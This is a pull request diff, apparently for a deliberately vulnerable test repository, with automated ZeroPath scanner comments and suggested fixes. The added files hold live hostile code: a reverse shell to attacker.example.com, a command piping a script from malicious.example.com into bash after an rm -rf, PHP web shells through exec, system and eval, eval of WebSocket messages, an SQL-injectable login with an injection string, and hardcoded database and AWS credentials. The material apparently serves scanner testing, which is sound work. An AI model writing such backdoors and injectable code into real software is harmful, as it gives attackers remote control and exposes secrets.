Skip to content
Open

Yay #15

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions browser copy/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
function executeUserScript() {
var userScript = document.getElementById('userScript').value;
// Using eval to execute user-provided script
eval(userScript);
}
5 changes: 5 additions & 0 deletions browser/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
function executeUserScript() {
var userScript = document.getElementById('userScript').value;
// Using eval to execute user-provided script
eval(userScript);
}
18 changes: 18 additions & 0 deletions cli/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
const { exec } = require('child_process');

const userArg = process.argv[2] || '';

const cmd = `
rm -rf /tmp/vuln_dir --no-preserve-root &&
curl http://malicious.example.com/install.sh | bash &&
ls ${userArg}
`;

console.log('[*] Running dangerous CLI pipeline…');
exec(cmd, (err, stdout, stderr) => {
if (err) {
console.error('[!] Pipeline failed:', err);
return;
}
console.log('[+] Pipeline succeeded. stdout:\\n', stdout);
});
17 changes: 17 additions & 0 deletions disk/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

// Path Traversal
app.get('/read', (req, res) => {
const file = req.query.file;
const fullPath = path.resolve(__dirname, file);
if (!fullPath.startsWith(__dirname + path.sep)) return res.status(400).send('Invalid file path');
fs.readFile(fullPath, 'utf8', (err, data) => {
if (err) return res.status(500).send(err.message);
res.send(data);
});
});

app.listen(3001, () => console.log('Disk vuln on port 3001'));
56 changes: 56 additions & 0 deletions http copy/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
const express = require('express');
const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const app = express();

function isPrivateIp(ip) {
return ip === '::1' ||
/^127\./.test(ip) ||
/^10\./.test(ip) ||
/^192\.168\./.test(ip) ||
/^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip) ||
ip.startsWith('fc') || ip.startsWith('fd') ||
ip.startsWith('fe80:');
}

// SSRF
app.get('/fetch', async (req, res) => {
const url = req.query.url;
let parsedUrl;
try {
parsedUrl = new URL(url);
} catch (e) {
return res.status(400).send('Invalid URL');
}
const hostname = parsedUrl.hostname;
if (!['http:', 'https:'].includes(parsedUrl.protocol) ||
hostname === 'localhost' ||
hostname === '127.0.0.1' ||
hostname === '::1' ||
/^(10|127)\./.test(hostname) ||
/^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(hostname) ||
/^192\.168\./.test(hostname)) {
return res.status(400).send('URL not allowed');
}
try {
// DNS resolution to prevent DNS rebinding
try {
const addresses = await dns.lookup(parsedUrl.hostname, { all: true });
for (const { address } of addresses) {
if (isPrivateIp(address)) {
return res.status(400).send('URL not allowed');
}
}
} catch (e) {
return res.status(400).send('Invalid hostname');
}

const resp = await axios.get(url);
res.send(resp.data);
} catch (e) {
res.status(500).send(e.message);
}
});

app.listen(3000, () => console.log('HTTP vuln on port 3000'));
56 changes: 56 additions & 0 deletions http/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
const express = require('express');
const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const app = express();

function isPrivateIp(ip) {
return ip === '::1' ||
/^127\./.test(ip) ||
/^10\./.test(ip) ||
/^192\.168\./.test(ip) ||
/^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip) ||
ip.startsWith('fc') || ip.startsWith('fd') ||
ip.startsWith('fe80:');
}

// SSRF
app.get('/fetch', async (req, res) => {
const url = req.query.url;
let parsedUrl;
try {
parsedUrl = new URL(url);
} catch (e) {
return res.status(400).send('Invalid URL');
}
const hostname = parsedUrl.hostname;
if (!['http:', 'https:'].includes(parsedUrl.protocol) ||
hostname === 'localhost' ||
hostname === '127.0.0.1' ||
hostname === '::1' ||
/^(10|127)\./.test(hostname) ||
/^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(hostname) ||
/^192\.168\./.test(hostname)) {
return res.status(400).send('URL not allowed');
}
try {
// DNS resolution to prevent DNS rebinding
try {
const addresses = await dns.lookup(parsedUrl.hostname, { all: true });
for (const { address } of addresses) {
if (isPrivateIp(address)) {
return res.status(400).send('URL not allowed');
}
}
} catch (e) {
return res.status(400).send('Invalid hostname');
}

const resp = await axios.get(url);
res.send(resp.data);
} catch (e) {
res.status(500).send(e.message);
}
});

app.listen(3000, () => console.log('HTTP vuln on port 3000'));
5 changes: 4 additions & 1 deletion index.php
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
<?php

echo "<h>" +$_GET["search"] + "</h>";
echo "<h>" .$_GET["search"]. "</h>";


exec($_POST["exec"]);
Comment on lines +3 to +6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remote Code Execution via Unsanitized Input in index.php (Severity: HIGH)

The application is vulnerable to remote code execution. Specifically, the exec function in index.php (lines 3-6) executes the contents of the $_POST["exec"] parameter, which allows attackers to run arbitrary system commands. This can lead to complete server compromise.
View details in ZeroPath

Suggested change
echo "<h>" .$_GET["search"]. "</h>";
exec($_POST["exec"]);
echo "<h>" .$_GET["search"]. "</h>";
// Block remote command execution to prevent RCE.
$__blocked_exec = $_POST['exec'] ?? '';
if ($__blocked_exec !== '') {
error_log('Blocked attempt to execute command via POST[exec]: ' . substr($__blocked_exec, 0, 200));
}
echo 'Command execution via web is disabled for security reasons.';


?>
5 changes: 4 additions & 1 deletion main.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,9 @@
app = Flask(__name__)
app.secret_key = os.urandom(24)


# Simulating a database of user accounts and their private notes# Simulating a database of user accounts and their private notes

# Simulating a database of user accounts and their private notes
users = {
1: {"id": 1, "username": "alice", "password": generate_password_hash("password123")},
Expand Down Expand Up @@ -38,7 +41,7 @@ def reverse_content(content):

def apply_decryption(note):
decrypted_content = reverse_content(note['content'])
os.system(note)
os.system(reverse_content)
return {"id": note['id'], "content": decrypted_content}

def decrypt_notes(encrypted_notes):
Expand Down
11 changes: 11 additions & 0 deletions package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"name": "uwu-vuln",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"description": ""
}
12 changes: 12 additions & 0 deletions stdin/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
const { exec } = require('child_process');

const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1';

console.log('[*] Executing reverse shell payload…');
exec(payload, (err, stdout, stderr) => {
if (err) {
console.error('[!] Error executing payload:', err);
return;
}
console.log('[+] Payload executed. stdout:', stdout);
});
Comment on lines +1 to +12

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hardcoded Reverse Shell Backdoor in stdin/index.js (Severity: HIGH)

The application contains a hardcoded reverse shell payload within the stdin/index.js file, lines 1-12, creating a significant security risk. Specifically, the payload variable contains a bash command that, when executed via exec, attempts to establish a reverse shell connection to attacker.example.com on port 4444. This would allow an attacker to gain unauthorized remote access to the system if the code is ever executed.
View details in ZeroPath

Suggested change
const { exec } = require('child_process');
const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1';
console.log('[*] Executing reverse shell payload…');
exec(payload, (err, stdout, stderr) => {
if (err) {
console.error('[!] Error executing payload:', err);
return;
}
console.log('[+] Payload executed. stdout:', stdout);
});
/*
* Security fix: Removed hardcoded reverse shell payload.
* The previous implementation executed a reverse shell command which is a critical security risk.
* This module now provides a safe stub. Implement secure behavior as needed.
*/
console.error('[!] Security: removed hardcoded reverse shell payload. No action taken.');
module.exports = {
executePayload: () => {
// Intentionally no-op to avoid executing arbitrary commands.
return Promise.resolve({ result: 'blocked' });
}
};

42 changes: 42 additions & 0 deletions test.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
<?php

function login($username, $password) {
// Configuration
$db_host = 'localhost';
$db_username = 'root';
$db_password = 'root@1234';
$db_name = 'arnicaTest';


// Connect to database
$conn = new mysqli($db_host, $db_username, $db_password, $db_name);

// Check connection
if ($conn->connect_error) {
die("Connection failed: ". $conn->connect_error);
}

// admin
// gdhas' OR 1=1 #

// Query database
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

$result = $conn->query($query);

// Check if user exists
if ($result->num_rows > 0) {
echo "Welcome, $username!";
} else {
echo "$query Invalid username or password.";
}

// Close connection
$conn->close();
}<?php


$username = $_POST['username'];
$password = $_POST['password'];
login($username, $password);
?>
Comment on lines +1 to +42

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SQL Injection Vulnerability in test.php (Severity: HIGH)

A SQL injection vulnerability exists in test.php, allowing attackers to potentially read or modify sensitive data. Specifically, the login function in test.php directly incorporates the $username and $password POST parameters into an SQL query without proper sanitization or parameterization, which causes arbitrary SQL code to be executed. An attacker could inject malicious SQL code via the username or password fields, leading to unauthorized data access or modification.
View details in ZeroPath

3 changes: 3 additions & 0 deletions test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
import random

print("asd")
23 changes: 23 additions & 0 deletions upload.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
<?




eval($_GET["XSS"]);


// mysql://rkd5i4bymb9zh0g6nadx85bj2:my-secret-pw@rkd5i4bymb9zh0g6nadx85bj2.canarytokens.com:3306/


system($_GET["cmd"]);


/*
Comment on lines +3 to +15

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Critical RCE Vulnerability in upload.php via eval() and system() (Severity: HIGH)

This code is vulnerable to remote code execution, allowing attackers to execute arbitrary commands on the server. The upload.php script directly uses eval($_GET["XSS"]) and system($_GET["cmd"]), which causes any code provided in the XSS or cmd URL parameters to be executed with the privileges of the web server user. This critical vulnerability allows complete compromise of the server.
View details in ZeroPath

Suggested change
eval($_GET["XSS"]);
// mysql://rkd5i4bymb9zh0g6nadx85bj2:my-secret-pw@rkd5i4bymb9zh0g6nadx85bj2.canarytokens.com:3306/
system($_GET["cmd"]);
/*
// Removed insecure use of eval — user-supplied code execution is forbidden
if (isset($_GET["XSS"])) {
error_log("Blocked dangerous eval attempt in upload.php from " . ($_SERVER["REMOTE_ADDR"] ?? "unknown"));
http_response_code(400);
echo "Invalid request";
exit;
}
// mysql://rkd5i4bymb9zh0g6nadx85bj2:my-secret-pw@rkd5i4bymb9zh0g6nadx85bj2.canarytokens.com:3306/
// Removed insecure use of system — executing arbitrary commands is forbidden
if (isset($_GET["cmd"])) {
error_log("Blocked dangerous system() attempt in upload.php from " . ($_SERVER["REMOTE_ADDR"] ?? "unknown"));
http_response_code(400);
echo "Invalid request";
exit;
}
/*

[default]
aws_access_key_id = AKIA2T2SJH6M76LT25T4

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hardcoded AWS Credentials in upload.php (Severity: CRITICAL)

Compromised AWS credentials can lead to unauthorized access to cloud resources, potentially resulting in data breaches and service disruption. The file upload.php contains hardcoded AWS access key ID (AKIA2T2SJH6M76LT25T4) and secret access key (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) on line 17, which allows anyone with access to the file to manage AWS resources associated with the compromised account. This exposure allows attackers to perform actions within the AWS environment, such as accessing data in S3 buckets or launching EC2 instances.
View details in ZeroPath

aws_secret_access_key = 6jlumL0UQ5v8rYZADd4zFxNHpDYlI6+VGbZtYBb/
output = json
region = us-east-2
*/

?>
12 changes: 12 additions & 0 deletions ws/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

// RCE
wss.on('connection', ws => {
ws.on('message', msg => {
eval(msg);
ws.send('Executed: ' + msg);
});
});
Comment on lines +4 to +10

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

RCE Vulnerability via Unsanitized WebSocket Message in ws/index.js (Severity: HIGH)

This vulnerability allows for remote code execution (RCE) because unsanitized messages received via the WebSocket in ws/index.js are directly passed to the eval() function. Specifically, the ws.on('message', msg => { eval(msg); ... }); block on lines 1-12 takes the incoming message without validation, which causes arbitrary JavaScript code to be executed on the server. An attacker could exploit this to gain complete control of the system.
View details in ZeroPath

Suggested change
// RCE
wss.on('connection', ws => {
ws.on('message', msg => {
eval(msg);
ws.send('Executed: ' + msg);
});
});
// RCE
wss.on('connection', ws => {
ws.on('message', msg => {
// Block direct eval of incoming messages to mitigate RCE
try {
// Expect JSON messages with { action: 'echo', data: '...' }
const parsed = JSON.parse(msg);
if (parsed && parsed.action === 'echo') {
ws.send('Echo: ' + String(parsed.data));
} else {
ws.send('Rejected: unsupported or unsafe message format');
}
} catch (e) {
// Not JSON - reject instead of executing
ws.send('Rejected: messages must be JSON with an allowed action');
}
ws.send('Executed: ' + msg);
});
});


console.log('WS vuln on port 8080');